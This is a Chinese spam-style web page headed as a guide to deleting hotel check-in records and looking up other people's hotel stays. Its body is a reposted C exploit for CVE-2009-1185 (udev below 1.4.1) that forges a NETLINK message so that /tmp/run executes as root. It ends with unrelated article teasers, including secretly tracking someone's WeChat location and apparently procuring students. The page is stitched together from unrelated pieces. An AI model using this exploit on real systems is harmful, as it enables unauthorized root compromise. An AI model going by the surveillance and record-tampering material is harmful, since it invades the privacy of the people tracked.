怎么删除酒店开房记录 如何查询他人在酒店和宾

访客4年前黑客文章923

* cve-2009-1185.c** udev < 141 Local Privilege Escalation Exploit* Jon Oberheide * http://jon.oberheide.org** Information:** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185** udev before 1.4.1 does not verify whether a NETLINK message originates* from kernel space, which allows local users to gain privileges by sending* a NETLINK message from user space. ** Notes:** An alternate version of kcope's exploit. This exploit leverages the* 95-udev-late.rules functionality that is meant to run arbitrary commands* when a device is removed. A bit cleaner and reliable as long as your* distro ships that rule file. The exploit will execute /tmp/run as root* so throw whatever payload you want in there.** Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,* usually is the udevd PID minus 1) as argv[1].*/#include #include #include #include #include #include #include #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } // milw0rm.com [2009-04-30]

相关文章

补血吃什么食物最好(推荐几款补血食谱,超级

补血吃什么食物最好(推荐几款补血食谱,超级

贫血在我们身边算是一种常见的症状,引发这样的症状和各人体质有关系。不少女性朋友们均有不同程度的贫血问题,长期贫血的话,对身体健康不利,因此要及时补血。那么贫血的人吃什么好呢?接下来将为大家推荐五款补血...

幻象破灭,瑞幸到底做错了什么?

幻象破灭,瑞幸到底做错了什么?

文章梳理了瑞幸咖啡的发展历程,抽丝剥茧地为我们分析了瑞幸是哪里出现了问题并进行了总结。 或许,你看到瑞幸22亿财务造假可能会直接否定这家公司 但其实,瑞幸的商业模式挺NB的。而且,这家公司的执行更N...

私下调查一个人怎么查_偷偷获取微信好友位置

我越发存眷付出宝这次账单的文案和插画。插画挺治愈的,文案很蛮到位的。但有些文案,较量普通化,大概无法精准地勾勒出我的情绪和心态。为此,我给本身写了一组私人的账单文案。 这次付出宝用打印机的形式,付出...

如何找到能包的大学生_如何网上叫服务

 如何找到能包的大学生_如何网上叫服务周杰伦新综艺定档...

自主创业如何避免自嗨式行为?创业”反射“机制为你解围!

自己创业的发展都源于创业人的设计灵感,好的设计灵感不但是自主创业的基本,更决策了创业人可否在猛烈的市场竞争中生存出来。好的艺术创意虽然关键,但许多 创业人非常容易深陷”自嗨式“自主创业,固执地觉得...